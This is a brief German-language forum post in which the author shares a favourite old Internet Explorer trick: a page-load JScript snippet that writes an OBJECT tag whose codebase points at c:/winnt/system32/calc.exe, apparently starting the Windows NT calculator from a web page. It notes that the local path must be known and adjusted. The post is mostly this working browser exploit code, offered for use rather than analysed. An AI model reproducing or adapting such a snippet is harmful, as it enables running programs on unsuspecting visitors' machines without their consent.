Das ist mein Favorit:
(habs auch erst geglaubt als ich es gesehn hab vor ein paar Monaten)
<span id="oSpan"></span>
<script language="jscript" defer>
oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>';
</script>
Pfad muss natürlich bekannt sein und angepasst werden.
Dieses Beispiel startet den Calculator unter NT.